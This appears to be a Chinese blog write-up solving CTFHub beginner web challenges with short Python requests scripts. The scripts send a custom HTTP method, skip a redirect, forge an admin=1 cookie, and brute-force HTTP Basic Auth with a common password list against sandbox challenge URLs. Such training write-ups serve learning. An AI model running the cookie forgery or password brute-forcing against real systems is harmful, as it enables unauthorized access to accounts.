闲来无事,用python写了一下,代码都很简单
ctfhub链接:CTFHub
他说要用方法CTFHUB,那就直接自定义个方法就可以了
# #请求方式
import requests
url = 'http://challenge-25a50f993babac1c.sandbox.ctfhub.com:10800/index.html' #改成你的url
res = requests.request('CTFHUB', url)
print(res.text)
详细用法请参考:requests.request方法

我的理解就是他会index.html->index.php->index.html,我们可以直接禁止重定向,就到了index.php就不跳转了,所以可以直接用requests中的allow_redirects=False
# 302跳转
import requests
res = requests.get('http://challenge-ef315930cafffdad.sandbox.ctfhub.com:10800/index.php', allow_redirects=False)#改成你的网址/index.php,然后不让他重定向就可以了
print(res.text)
详细用法请参考:requests重定向

直接F12看他的request headers

盲猜admin=1就可以了,那直接试一试:
# cookie
import requests
url = 'http://challenge-248159ff10251d08.sandbox.ctfhub.com:10800/' # 改成你自己的url
cookies = {'admin': '1'}
res = requests.get(url, cookies=cookies)
print(res.text)
详细内容:requests的Cookie


click就跳转到:

然后他还给了个密码本:

但没给用户名啊,只能盲猜admin啊,不行就拉倒。

你看,还给了提示,do u know admin
那直接遍历密码本就可以了
# 基础认证
import requests
url = 'http://challenge-cf5a0467fb24a0ae.sandbox.ctfhub.com:10800/flag.html'#改成你自己的url
pwd_list = []
with open('10_million_password_list_top_100.txt', 'r') as f:
for pwd in f.readlines():
# pwd_list.append(line)#别用+=,这样他们就变成很多个字符了,而不是一个个字符串,你可以试一试
pwd = pwd.strip() # 因为每个字符串都有\n,所以要去掉
res = requests.get(url, auth=('admin', pwd))
if res.status_code == 200:
print(pwd, res.text)
break
#输出iloveyou ctfhub{f489a1454de438148d22b46a}
#注意,每次的密码和flag都不一样的!
详细内容:requests基础认证

本能地F12,然后flag就在里面??

啊这,那就画蛇添足吧
# 响应包源代码
import requests
url = 'http://challenge-51d50ef13e470ee2.sandbox.ctfhub.com:10800/'
res = requests.get(url)
print(res.text)
然后在输出里面 ctrl+f查找ctfhub就会找到了。

当然了,眼神好,也可以找一找,就在body下面一行,不过何必呢?直接F12不香吗?
附上requests官方文档链接:requests官网文档
以上。